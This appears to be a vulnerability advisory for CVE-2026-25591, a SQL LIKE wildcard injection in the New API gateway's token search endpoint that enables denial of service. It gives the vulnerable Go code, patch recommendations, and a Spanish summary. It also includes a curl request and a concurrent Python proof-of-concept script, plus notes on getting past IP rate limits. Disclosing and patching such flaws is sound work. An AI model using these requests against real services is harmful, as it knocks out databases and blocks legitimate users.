CVE-2026-25591

New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.10.8-alpha.10, a SQL LIKE wildcard injection vulnerability in the `/api/token/search` endpoint allows authenticated users to cause denial of service through resource exhaustion by crafting malicious search patterns. The token search endpoint accepts user-supplied `keyword` and `token` parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (`%`, `_`). This allows attackers to inject patterns that trigger expensive database queries. Version 0.10.8-alpha.10 contains a patch.

New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.10.8-alpha.10, a SQL LIKE wildcard injection vulnerability in the `/api/token/search` endpoint allows authenticated users to cause denial of service through resource exhaustion by crafting malicious search patterns. The token search endpoint accepts user-supplied `keyword` and `token` parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (`%`, `_`). This allows attackers to inject patterns that trigger expensive database queries. Version 0.10.8-alpha.10 contains a patch.

New API has an SQL LIKE Wildcard Injection DoS via Token Search in github.com/QuantumNous/new-api

### Summary A SQL LIKE wildcard injection vulnerability in the `/api/token/search` endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns. ### Details The token search endpoint accepts user-supplied `keyword` and `token` parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (`%`, `_`). This allows attackers to inject patterns that trigger expensive database queries. ### Vulnerable Code File: `model/token.go:70` ```go err = DB.Where("user_id = ?", userId). Where("name LIKE ?", "%"+keyword+"%"). // No wildcard escaping Where(commonKeyCol+" LIKE ?", "%"+token+"%"). Find(&tokens).Error ``` ### PoC After creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches. <img width="1636" height="659" alt="image" src="https://github.com/user-attachments/assets/55e63dcd-884d-41bc-9bea-4300ba1b50c6" /> These data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted: ```bash # A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly. curl 'http://localhost:3000/api/token/search?keyword=%&token=' ``` <img width="491" height="350" alt="image" src="https://github.com/user-attachments/assets/c31d9639-3550-4e93-8735-fba068f56124" /> It will cause DoS. ```python import requests from concurrent.futures import ThreadPoolExecutor def attack(session_cookie): requests.get( 'http://localhost:3000/api/token/search', params={'keyword': '%_%_%_%_%_%', 'token': ''}, cookies={'session': session_cookie}, headers={'New-API-User': '1'} ) # Launch 50 concurrent malicious requests with ThreadPoolExecutor(max_workers=50) as executor: for _ in range(50): executor.submit(attack, '<valid_session>') ``` ### Impact **Availability** RAM Overflow <img width="1078" height="145" alt="image" src="https://github.com/user-attachments/assets/c0bb5159-6943-42bd-a9f4-5c60c57fb149" /> Postgres unavailable <img width="772" height="185" alt="image" src="https://github.com/user-attachments/assets/245e4f59-0ec5-4f9b-a839-3c9bb61be14b" /> - Database CPU usage spike to 100% - Application memory exhaustion - Legitimate user requests blocked or significantly delayed - Potential application crash or database connection pool exhaustion ### Database Performance Testing with 2,000,000 tokens: | Pattern | Query Time | Rows | Impact | |---------|-----------|------|--------| | `test` (normal) | ~50ms | 0 | Low | | `%` (full scan) | 5,973ms | 2,000,000 | High | | `%_%_%_%_%_%` | 6,200ms+ | 2,000,000 | Very High | ### Attack Scalability - **Single attacker**: Can launch 10-50 concurrent requests easily - **Multiple accounts**: Attacker can register multiple accounts (if registration enabled) - **Proxy rotation**: IP-based rate limiting can be bypassed - **Persistence**: Attack can be sustained indefinitely ### Resource Consumption Each malicious request with 2M results: - **Database**: ~6 seconds CPU time - **Network**: ~200MB data transfer - **Application Memory**: ~200MB+ for JSON serialization - **Connection Time**: Database connection held for entire query duration ## Exploitation Scenario 1. Attacker registers or compromises a regular user account 2. Attacker crafts malicious LIKE patterns using `%` wildcards 3. Attacker launches concurrent requests (50-200 concurrent) 4. Database becomes overwhelmed with slow queries 5. Application memory exhausts from processing large result sets 6. Legitimate users experience service degradation or complete unavailability ## Patch Recommendations ### 1. Escape LIKE Wildcards (Critical) ```go func escapeLike(s string) string { s = strings.ReplaceAll(s, "\\", "\\\\") s = strings.ReplaceAll(s, "%", "\\%") s = strings.ReplaceAll(s, "_", "\\_") return s } func SearchUserTokens(userId int, keyword string, token string) (tokens []*Token, err error) { keyword = escapeLike(keyword) token = strings.Trim(token, "sk-") token = escapeLike(token) err = DB.Where("user_id = ?", userId). Where("name LIKE ? ESCAPE '\\\\'", "%"+keyword+"%"). Where(commonKeyCol+" LIKE ? ESCAPE '\\\\'", "%"+token+"%"). Limit(1000). Find(&tokens).Error return tokens, err } ``` ### 2. Add User-Level Rate Limiting ```go tokenRoute.GET("/search", middleware.TokenSearchRateLimit(), // 30 req/min per user controller.SearchTokens) ``` ### 3. Add Query Timeout ```go ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() err = DB.WithContext(ctx).Where(...).Find(&tokens).Error ```

La nueva API es un portal de modo de lenguaje grande (LLM) y un sistema de gestión de activos de inteligencia artificial (IA). Antes de la versión 0.10.8-alpha.10, una vulnerabilidad de inyección de comodines SQL LIKE en el endpoint '/api/token/search' permite a usuarios autenticados causar denegación de servicio a través del agotamiento de recursos al crear patrones de búsqueda maliciosos. El endpoint de búsqueda de tokens acepta parámetros 'keyword' y 'token' suministrados por el usuario que se concatenan directamente en cláusulas SQL LIKE sin escapar caracteres comodín ('%', '_'). Esto permite a los atacantes inyectar patrones que desencadenan consultas costosas a la base de datos. La versión 0.10.8-alpha.10 contiene un parche.